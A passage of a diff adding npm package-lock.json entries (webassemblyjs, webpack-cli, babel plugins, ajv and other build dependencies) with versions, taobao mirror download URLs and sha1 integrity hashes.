"@webassemblyjs/helper-buffer": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-buffer/download/@webassemblyjs/helper-buffer-1.9.0.tgz?cache=0&sync_timestamp=1610041308491&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-buffer%2Fdownload%2F%40webassemblyjs%2Fhelper-buffer-1.9.0.tgz", + "integrity": "sha1-oUQtJpxf6yP8vJ73WdrDVH8p3gA=", + "dev": true + }, + "@webassemblyjs/helper-code-frame": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-code-frame/download/@webassemblyjs/helper-code-frame-1.9.0.tgz?cache=0&sync_timestamp=1610041306677&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-code-frame%2Fdownload%2F%40webassemblyjs%2Fhelper-code-frame-1.9.0.tgz", + "integrity": "sha1-ZH+Iks0gQ6gqwMjF51w28dkVnyc=", + "dev": true, + "requires": { + "@webassemblyjs/wast-printer": "1.9.0" + } + }, + "@webassemblyjs/helper-fsm": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-fsm/download/@webassemblyjs/helper-fsm-1.9.0.tgz?cache=0&sync_timestamp=1610041308754&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-fsm%2Fdownload%2F%40webassemblyjs%2Fhelper-fsm-1.9.0.tgz", + "integrity": "sha1-wFJWtxJEIUZx9LCOwQitY7cO3bg=", + "dev": true + }, + "@webassemblyjs/helper-module-context": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-module-context/download/@webassemblyjs/helper-module-context-1.9.0.tgz", + "integrity": "sha1-JdiIS3aDmHGgimxvgGw5ee9xLwc=", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0" + } + }, + "@webassemblyjs/helper-wasm-bytecode": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-wasm-bytecode/download/@webassemblyjs/helper-wasm-bytecode-1.9.0.tgz?cache=0&sync_timestamp=1610041308619&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-wasm-bytecode%2Fdownload%2F%40webassemblyjs%2Fhelper-wasm-bytecode-1.9.0.tgz", + "integrity": "sha1-T+2L6sm4wU+MWLcNEk1UndH+V5A=", + "dev": true + }, + "@webassemblyjs/helper-wasm-section": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-wasm-section/download/@webassemblyjs/helper-wasm-section-1.9.0.tgz?cache=0&sync_timestamp=1610041306931&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-wasm-section%2Fdownload%2F%40webassemblyjs%2Fhelper-wasm-section-1.9.0.tgz", + "integrity": "sha1-WkE41aYpK6GLBMWuSXF+QWeWU0Y=", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-buffer": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/wasm-gen": "1.9.0" + } + }, + "@webassemblyjs/ieee754": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/ieee754/download/@webassemblyjs/ieee754-1.9.0.tgz?cache=0&sync_timestamp=1610041309194&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fieee754%2Fdownload%2F%40webassemblyjs%2Fieee754-1.9.0.tgz", + "integrity": "sha1-Fceg+6roP7JhQ7us9tbfFwKtOeQ=", + "dev": true, + "requires": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "@webassemblyjs/leb128": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/leb128/download/@webassemblyjs/leb128-1.9.0.tgz?cache=0&sync_timestamp=1610041308922&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fleb128%2Fdownload%2F%40webassemblyjs%2Fleb128-1.9.0.tgz", + "integrity": "sha1-8Zygt2ptxVYjoJz/p2noOPoeHJU=", + "dev": true, + "requires": { + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/utf8": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/utf8/download/@webassemblyjs/utf8-1.9.0.tgz?cache=0&sync_timestamp=1610041309288&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Futf8%2Fdownload%2F%40webassemblyjs%2Futf8-1.9.0.tgz", + "integrity": "sha1-BNM7Y2945qaBMifoJAL3Y3tiKas=", + "dev": true + }, + "@webassemblyjs/wasm-edit": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/wasm-edit/download/@webassemblyjs/wasm-edit-1.9.0.tgz?cache=0&sync_timestamp=1610041307235&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fwasm-edit%2Fdownload%2F%40webassemblyjs%2Fwasm-edit-1.9.0.tgz", + "integrity": "sha1-P+bXnT8PkiGDqoYALELdJWz+6c8=", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-buffer": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/helper-wasm-section": "1.9.0", + "@webassemblyjs/wasm-gen": "1.9.0", + "@webassemblyjs/wasm-opt": "1.9.0", + "@webassemblyjs/wasm-parser": "1.9.0", + "@webassemblyjs/wast-printer": "1.9.0" + } + }, + "@webassemblyjs/wasm-gen": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/wasm-gen/download/@webassemblyjs/wasm-gen-1.9.0.tgz?cache=0&sync_timestamp=1610041306557&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fwasm-gen%2Fdownload%2F%40webassemblyjs%2Fwasm-gen-1.9.0.tgz", + "integrity": "sha1-ULxw7Gje2OJ2OwGhQYv0NJGnpJw=", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/ieee754": "1.9.0", + "@webassemblyjs/leb128": "1.9.0", + "@webassemblyjs/utf8": "1.9.0" + } + }, + "@webassemblyjs/wasm-opt": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/wasm-opt/download/@webassemblyjs/wasm-opt-1.9.0.tgz?cache=0&sync_timestamp=1610041306793&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fwasm-opt%2Fdownload%2F%40webassemblyjs%2Fwasm-opt-1.9.0.tgz", + "integrity": "sha1-IhEYHlsxMmRDzIES658LkChyGmE=", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-buffer": "1.9.0", + "@webassemblyjs/wasm-gen": "1.9.0", + "@webassemblyjs/wasm-parser": "1.9.0" + } + }, + "@webassemblyjs/wasm-parser": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/wasm-parser/download/@webassemblyjs/wasm-parser-1.9.0.tgz?cache=0&sync_timestamp=1610041306194&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fwasm-parser%2Fdownload%2F%40webassemblyjs%2Fwasm-parser-1.9.0.tgz", + "integrity": "sha1-nUjkSCbfSmWYKUqmyHRp1kL/9l4=", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-api-error": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/ieee754": "1.9.0", + "@webassemblyjs/leb128": "1.9.0", + "@webassemblyjs/utf8": "1.9.0" + } + }, + "@webassemblyjs/wast-parser": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/wast-parser/download/@webassemblyjs/wast-parser-1.9.0.tgz?cache=0&sync_timestamp=1610041307079&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fwast-parser%2Fdownload%2F%40webassemblyjs%2Fwast-parser-1.9.0.tgz", + "integrity": "sha1-MDERXXmsW9JhVWzsw/qQo+9FGRQ=", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/floating-point-hex-parser": "1.9.0", + "@webassemblyjs/helper-api-error": "1.9.0", + "@webassemblyjs/helper-code-frame": "1.9.0", + "@webassemblyjs/helper-fsm": "1.9.0", + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/wast-printer": { + "version": "1.9.0", + "resolved": "https://registry.npm.taobao.org/@webassemblyjs/wast-printer/download/@webassemblyjs/wast-printer-1.9.0.tgz", + "integrity": "sha1-STXVTIX+9jewDOn1I3dFHQDUeJk=", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/wast-parser": "1.9.0", + "@xtuc/long": "4.2.2" + } + }, + "@webpack-cli/configtest": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/@webpack-cli/configtest/download/@webpack-cli/configtest-1.0.1.tgz", + "integrity": "sha1-JBrs+9xxXu6WvtRH7UAuEuwXGTU=", + "dev": true + }, + "@webpack-cli/info": { + "version": "1.2.2", + "resolved": "https://registry.npm.taobao.org/@webpack-cli/info/download/@webpack-cli/info-1.2.2.tgz", + "integrity": "sha1-7zwM2Ueh+gg+F0pZy3TgthlcI2w=", + "dev": true, + "requires": { + "envinfo": "^7.7.3" + } + }, + "@webpack-cli/serve": { + "version": "1.3.0", + "resolved": "https://registry.npm.taobao.org/@webpack-cli/serve/download/@webpack-cli/serve-1.3.0.tgz", + "integrity": "sha1-JzDHcPXx8TJ2fGPcqqTsKPjFamw=", + "dev": true + }, + "@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/@xtuc/ieee754/download/@xtuc/ieee754-1.2.0.tgz", + "integrity": "sha1-7vAUoxRa5Hehy8AM0eVSM23Ot5A=", + "dev": true + }, + "@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npm.taobao.org/@xtuc/long/download/@xtuc/long-4.2.2.tgz", + "integrity": "sha1-0pHGpOl5ibXGHZrPOWrk/hM6cY0=", + "dev": true + }, + "accord": { + "version": "0.29.0", + "resolved": "https://registry.npm.taobao.org/accord/download/accord-0.29.0.tgz", + "integrity": "sha1-t0HBdtAENcWSnUZt/oz2vukzseQ=", + "dev": true, + "requires": { + "convert-source-map": "^1.5.0", + "glob": "^7.0.5", + "indx": "^0.2.3", + "lodash.clone": "^4.3.2", + "lodash.defaults": "^4.0.1", + "lodash.flatten": "^4.2.0", + "lodash.merge": "^4.4.0", + "lodash.partialright": "^4.1.4", + "lodash.pick": "^4.2.1", + "lodash.uniq": "^4.3.0", + "resolve": "^1.5.0", + "semver": "^5.3.0", + "uglify-js": "^2.8.22", + "when": "^3.7.8" + }, + "dependencies": { + "camelcase": { + "version": "1.2.1", + "resolved": "https://registry.npm.taobao.org/camelcase/download/camelcase-1.2.1.tgz?cache=0&sync_timestamp=1603921787305&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcamelcase%2Fdownload%2Fcamelcase-1.2.1.tgz", + "integrity": "sha1-m7UwTS4LVmmLLHWLCKPqqdqlijk=", + "dev": true + }, + "cliui": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/cliui/download/cliui-2.1.0.tgz", + "integrity": "sha1-S0dXYP+AJkx2LDoXGQMukcf+oNE=", + "dev": true, + "requires": { + "center-align": "^0.1.1", + "right-align": "^0.1.1", + "wordwrap": "0.0.2" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npm.taobao.org/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1606853731020&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz", + "integrity": "sha1-qVT5Ma66UI0we78Gnv8MAclhFvc=", + "dev": true + }, + "uglify-js": { + "version": "2.8.29", + "resolved": "https://registry.npm.taobao.org/uglify-js/download/uglify-js-2.8.29.tgz", + "integrity": "sha1-KcVzMUgFe7Th913zW3qcty5qWd0=", + "dev": true, + "requires": { + "source-map": "~0.5.1", + "uglify-to-browserify": "~1.0.0", + "yargs": "~3.10.0" + } + }, + "yargs": { + "version": "3.10.0", + "resolved": "https://registry.npm.taobao.org/yargs/download/yargs-3.10.0.tgz?cache=0&sync_timestamp=1615225212092&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fyargs%2Fdownload%2Fyargs-3.10.0.tgz", + "integrity": "sha1-9+572FfdfB0tOMDnTvvWgdFDH9E=", + "dev": true, + "requires": { + "camelcase": "^1.0.2", + "cliui": "^2.1.0", + "decamelize": "^1.0.0", + "window-size": "0.1.0" + } + } + } + }, + "acorn": { + "version": "5.7.4", + "resolved": "https://registry.npm.taobao.org/acorn/download/acorn-5.7.4.tgz?cache=0&sync_timestamp=1615305874483&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Facorn%2Fdownload%2Facorn-5.7.4.tgz", + "integrity": "sha1-Po2KmUfQWZoXltECJddDL0pKz14=", + "dev": true + }, + "adler-32": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/adler-32/download/adler-32-1.2.0.tgz", + "integrity": "sha1-aj5r8KY5ALoVZSgIyxXGgT0aXyU=", + "requires": { + "exit-on-epipe": "~1.0.1", + "printj": "~1.1.0" + } + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npm.taobao.org/ajv/download/ajv-6.12.6.tgz", + "integrity": "sha1-uvWmLoArB9l3A0WG+MO69a3ybfQ=", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-errors": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/ajv-errors/download/ajv-errors-1.0.1.tgz?cache=0&sync_timestamp=1608064310528&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fajv-errors%2Fdownload%2Fajv-errors-1.0.1.tgz", + "integrity": "sha1-81mGrOuRr63sQQL72FAUlQzvpk0=", + "dev": true + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npm.taobao.org/ajv-keywords/download/ajv-keywords-3.5.2.tgz?cache=0&sync_timestamp=1608059810829&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fajv-keywords%2Fdownload%2Fajv-keywords-3.5.2.tgz", + "integrity": "sha1-MfKdpatuANHC0yms97WSlhTVAU0=", + "dev": true + }, + "align-text": { + "version": "0.1.4", + "resolved": "https://registry.npm.taobao.org/align-text/download/align-text-0.1.4.tgz", + "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", + "dev": true, + "requires": { + "kind-of": "^3.0.2", + "longest": "^1.0.1", + "repeat-string": "^1.5.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "amdefine": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/amdefine/download/amdefine-1.0.1.tgz", + "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", + "dev": true + }, + "ansi-colors": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/ansi-colors/download/ansi-colors-1.1.0.tgz", + "integrity": "sha1-Y3S03V1HGP884npnGjscrQdxMqk=", + "dev": true, + "requires": { + "ansi-wrap": "^0.1.0" + } + }, + "ansi-cyan": { + "version": "0.1.1", + "resolved": "https://registry.npm.taobao.org/ansi-cyan/download/ansi-cyan-0.1.1.tgz", + "integrity": "sha1-U4rlKK+JgvKK4w2G8vF0VtJgmHM=", + "dev": true, + "requires": { + "ansi-wrap": "0.1.0" + } + }, + "ansi-gray": { + "version": "0.1.1", + "resolved": "https://registry.npm.taobao.org/ansi-gray/download/ansi-gray-0.1.1.tgz", + "integrity": "sha1-KWLPVOyXksSFEKPetSRDaGHvclE=", + "dev": true, + "requires": { + "ansi-wrap": "0.1.0" + } + }, + "ansi-red": { + "version": "0.1.1", + "resolved": "https://registry.npm.taobao.org/ansi-red/download/ansi-red-0.1.1.tgz", + "integrity": "sha1-jGOPnRCAgAo1PJwoyKgcpHBdlGw=", + "dev": true, + "requires": { + "ansi-wrap": "0.1.0" + } + }, + "ansi-regex": { + "version": "2.1.1", + "resolved": "https://registry.npm.taobao.org/ansi-regex/download/ansi-regex-2.1.1.tgz", + "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npm.taobao.org/ansi-styles/download/ansi-styles-3.2.1.tgz?cache=0&sync_timestamp=1611327117754&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fansi-styles%2Fdownload%2Fansi-styles-3.2.1.tgz", + "integrity": "sha1-QfuyAkPlCxK+DwS43tvwdSDOhB0=", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "ansi-wrap": { + "version": "0.1.0", + "resolved": "https://registry.npm.taobao.org/ansi-wrap/download/ansi-wrap-0.1.0.tgz", + "integrity": "sha1-qCJQ3bABXponyoLoLqYDu/pF768=", + "dev": true + }, + "anymatch": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/anymatch/download/anymatch-2.0.0.tgz", + "integrity": "sha1-vLJLTzeTTZqnrBe0ra+J58du8us=", + "dev": true, + "requires": { + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" + }, + "dependencies": { + "normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npm.taobao.org/normalize-path/download/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "dev": true, + "requires": { + "remove-trailing-separator": "^1.0.1" + } + } + } + }, + "append-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/append-buffer/download/append-buffer-1.0.2.tgz", + "integrity": "sha1-2CIM9GYIFSXv6lBhTz3mUU36WPE=", + "dev": true, + "requires": { + "buffer-equal": "^1.0.0" + } + }, + "aproba": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/aproba/download/aproba-1.2.0.tgz", + "integrity": "sha1-aALmJk79GMeQobDVF/DyYnvyyUo=", + "dev": true + }, + "archy": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/archy/download/archy-1.0.0.tgz", + "integrity": "sha1-+cjBN1fMHde8N5rHeyxipcKGjEA=", + "dev": true + }, + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npm.taobao.org/arr-diff/download/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true + }, + "arr-filter": { + "version": "1.1.2", + "resolved": "https://registry.npm.taobao.org/arr-filter/download/arr-filter-1.1.2.tgz", + "integrity": "sha1-Q/3d0JHo7xGqTEXZzcGOLf8XEe4=", + "dev": true, + "requires": { + "make-iterator": "^1.0.0" + } + }, + "arr-flatten": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/arr-flatten/download/arr-flatten-1.1.0.tgz", + "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=", + "dev": true + }, + "arr-map": { + "version": "2.0.2", + "resolved": "https://registry.npm.taobao.org/arr-map/download/arr-map-2.0.2.tgz", + "integrity": "sha1-Onc0X/wc814qkYJWAfnljy4kysQ=", + "dev": true, + "requires": { + "make-iterator": "^1.0.0" + } + }, + "arr-union": { + "version": "3.1.0", + "resolved": "https://registry.npm.taobao.org/arr-union/download/arr-union-3.1.0.tgz", + "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=", + "dev": true + }, + "array-each": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/array-each/download/array-each-1.0.1.tgz", + "integrity": "sha1-p5SvDAWrF1KEbudTofIRoFugxE8=", + "dev": true + }, + "array-initial": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/array-initial/download/array-initial-1.1.0.tgz", + "integrity": "sha1-L6dLJnOTccOUe9enrcc74zSz15U=", + "dev": true, + "requires": { + "array-slice": "^1.0.0", + "is-number": "^4.0.0" + }, + "dependencies": { + "is-number": { + "version": "4.0.0", + "resolved": "https://registry.npm.taobao.org/is-number/download/is-number-4.0.0.tgz", + "integrity": "sha1-ACbjf1RU1z41bf5lZGmYZ8an8P8=", + "dev": true + } + } + }, + "array-last": { + "version": "1.3.0", + "resolved": "https://registry.npm.taobao.org/array-last/download/array-last-1.3.0.tgz", + "integrity": "sha1-eqdwc/7FZd2rJJP1+IGF9ASp0zY=", + "dev": true, + "requires": { + "is-number": "^4.0.0" + }, + "dependencies": { + "is-number": { + "version": "4.0.0", + "resolved": "https://registry.npm.taobao.org/is-number/download/is-number-4.0.0.tgz", + "integrity": "sha1-ACbjf1RU1z41bf5lZGmYZ8an8P8=", + "dev": true + } + } + }, + "array-slice": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/array-slice/download/array-slice-1.1.0.tgz", + "integrity": "sha1-42jqFfibxwaff/uJrsOmx9SsItQ=", + "dev": true + }, + "array-sort": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/array-sort/download/array-sort-1.0.0.tgz", + "integrity": "sha1-5MBTVkU/VvU1EqfR1hI/LFTAqIo=", + "dev": true, + "requires": { + "default-compare": "^1.0.0", + "get-value": "^2.0.6", + "kind-of": "^5.0.2" + }, + "dependencies": { + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-5.1.0.tgz", + "integrity": "sha1-cpyR4thXt6QZofmqZWhcTDP1hF0=", + "dev": true + } + } + }, + "array-uniq": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/array-uniq/download/array-uniq-1.0.2.tgz", + "integrity": "sha1-X8w3OSB3VyPP1k1lxkvvU7+eum0=" + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npm.taobao.org/array-unique/download/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true + }, + "asn1.js": { + "version": "5.4.1", + "resolved": "https://registry.npm.taobao.org/asn1.js/download/asn1.js-5.4.1.tgz", + "integrity": "sha1-EamAuE67kXgc41sP3C7ilON4Pwc=", + "dev": true, + "requires": { + "bn.js": "^4.0.0", + "inherits": "^2.0.1", + "minimalistic-assert": "^1.0.0", + "safer-buffer": "^2.1.0" + }, + "dependencies": { + "bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz", + "integrity": "sha1-d1s/J477uXGO7HNh9IP7Nvu/6og=", + "dev": true + } + } + }, + "assert": { + "version": "1.5.0", + "resolved": "https://registry.npm.taobao.org/assert/download/assert-1.5.0.tgz", + "integrity": "sha1-VcEJqvbgrv2z3EtxJAxwv1dLGOs=", + "dev": true, + "requires": { + "object-assign": "^4.1.1", + "util": "0.10.3" + }, + "dependencies": { + "inherits": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/inherits/download/inherits-2.0.1.tgz", + "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=", + "dev": true + }, + "util": { + "version": "0.10.3", + "resolved": "https://registry.npm.taobao.org/util/download/util-0.10.3.tgz", + "integrity": "sha1-evsa/lCAUkZInj23/g7TeTNqwPk=", + "dev": true, + "requires": { + "inherits": "2.0.1" + } + } + } + }, + "assign-symbols": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/assign-symbols/download/assign-symbols-1.0.0.tgz", + "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=", + "dev": true + }, + "ast-types": { + "version": "0.9.6", + "resolved": "https://registry.npm.taobao.org/ast-types/download/ast-types-0.9.6.tgz", + "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=", + "dev": true + }, + "async": { + "version": "2.6.3", + "resolved": "https://registry.npm.taobao.org/async/download/async-2.6.3.tgz", + "integrity": "sha1-1yYl4jRKNlbjo61Pp0n6gymdgv8=", + "dev": true, + "requires": { + "lodash": "^4.17.14" + } + }, + "async-done": { + "version": "1.3.2", + "resolved": "https://registry.npm.taobao.org/async-done/download/async-done-1.3.2.tgz", + "integrity": "sha1-XhWqcplipLB0FPUoqIzfGOCykKI=", + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.2", + "process-nextick-args": "^2.0.0", + "stream-exhaust": "^1.0.1" + } + }, + "async-each": { + "version": "1.0.3", + "resolved": "https://registry.npm.taobao.org/async-each/download/async-each-1.0.3.tgz", + "integrity": "sha1-tyfb+H12UWAvBvTUrDh/R9kbDL8=", + "dev": true + }, + "async-settle": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/async-settle/download/async-settle-1.0.0.tgz", + "integrity": "sha1-HQqRS7Aldb7IqPOnTlCA9yssDGs=", + "dev": true, + "requires": { + "async-done": "^1.2.2" + } + }, + "async-validator": { + "version": "1.8.5", + "resolved": "https://registry.npm.taobao.org/async-validator/download/async-validator-1.8.5.tgz?cache=0&sync_timestamp=1605751734916&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fasync-validator%2Fdownload%2Fasync-validator-1.8.5.tgz", + "integrity": "sha1-3D4I7B/Q3dtn5ghC8CwM0c7G1/A=", + "requires": { + "babel-runtime": "6.x" + } + }, + "atob": { + "version": "2.1.2", + "resolved": "https://registry.npm.taobao.org/atob/download/atob-2.1.2.tgz", + "integrity": "sha1-bZUX654DDSQ2ZmZR6GvZ9vE1M8k=", + "dev": true + }, + "babel-helper-vue-jsx-merge-props": { + "version": "2.0.3", + "resolved": "https://registry.npm.taobao.org/babel-helper-vue-jsx-merge-props/download/babel-helper-vue-jsx-merge-props-2.0.3.tgz", + "integrity": "sha1-Iq69OzOQIyjlEyk6jkmSs4T58bY=" + }, + "babel-loader": { + "version": "8.2.2", + "resolved": "https://registry.npm.taobao.org/babel-loader/download/babel-loader-8.2.2.tgz", + "integrity": "sha1-k2POhMEMmkDmx1N0jhRBtgyKC4E=", + "dev": true, + "requires": { + "find-cache-dir": "^3.3.1", + "loader-utils": "^1.4.0", + "make-dir": "^3.1.0", + "schema-utils": "^2.6.5" + } + }, + "babel-plugin-dynamic-import-node": { + "version": "2.3.3", + "resolved": "https://registry.npm.taobao.org/babel-plugin-dynamic-import-node/download/babel-plugin-dynamic-import-node-2.3.3.tgz", + "integrity": "sha1-hP2hnJduxcbe/vV/lCez3vZuF6M=", + "dev": true, + "requires": { + "object.assign": "^4.1.0" + } + }, + "babel-plugin-polyfill-corejs2": { + "version": "0.1.10", + "resolved": "https://registry.npm.taobao.org/babel-plugin-polyfill-corejs2/download/babel-plugin-polyfill-corejs2-0.1.10.tgz", + "integrity": "sha1-osXCRfVsDKw9vdvwcmpGsk8PgdE=", + "dev": true, + "requires": { + "@babel/compat-data": "^7.13.0", + "@babel/helper-define-polyfill-provider": "^0.1.5", + "semver": "^6.1.1" + } + }, + "babel-plugin-polyfill-corejs3": { + "version": "0.1.7", + "resolved": "https://registry.npm.taobao.org/babel-plugin-polyfill-corejs3/download/babel-plugin-polyfill-corejs3-0.1.7.tgz?cache=0&sync_timestamp=1614674433105&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbabel-plugin-polyfill-corejs3%2Fdownload%2Fbabel-plugin-polyfill-corejs3-0.1.7.tgz", + "integrity": "sha1-gESdnW8idJEuBdnhgrVIFpBL79A=", + "dev": true, + "requires": { + "@babel/helper-define-polyfill-provider": "^0.1.5", + "core-js-compat": "^3.8.1" + } + }, + "babel-plugin-polyfill-regenerator": { + "version": "0.1.6", + "resolved": "https://registry.npm.taobao.org/babel-plugin-polyfill-regenerator/download/babel-plugin-polyfill-regenerator-0.1.6.tgz?cache=0&sync_timestamp=1614675039359&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbabel-plugin-polyfill-regenerator%2Fdownload%2Fbabel-plugin-polyfill-regenerator-0.1.6.tgz", + "integrity": "sha1-D+BqAm/g+qYozMi6MwLaCmzgLz8=", + "dev": true, + "requires": { + "@babel/helper-define-polyfill-provider": "^0.1.5" + } + }, + "babel-plugin-transform-remove-strict-mode": { + "version": "0.0.2", + "resolved": "https://registry.npm.taobao.org/babel-plugin-transform-remove-strict-mode/download/babel-plugin-transform-remove-strict-mode-0.0.2.tgz", + "integrity": "sha1-kTaFqrlUOfOg7YjliPvV6ZeJBXk=", + "dev": true + }, + "babel-runtime": { + "version": "6.26.0", + "resolved": "https://registry.npm.taobao.org/babel-runtime/download/babel-runtime-6.26.0.tgz", + "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", + "requires": { + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" + } + }, + "bach": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/bach/download/bach-1.2.0.tgz", + "integrity": "sha1-Szzpa/JxNPeaG0FKUcFONMO9mIA=", + "dev": true, + "requires": { + "arr-filter": "^1.1.1", + "arr-flatten": "^1.0.1", + "arr-map": "^2.0.0", + "array-each": "^1.0.0", + "array-initial": "^1.0.0", + "array-last": "^1.1.1", + "async-done": "^1.2.2", + "async-settle": "^1.0.0", 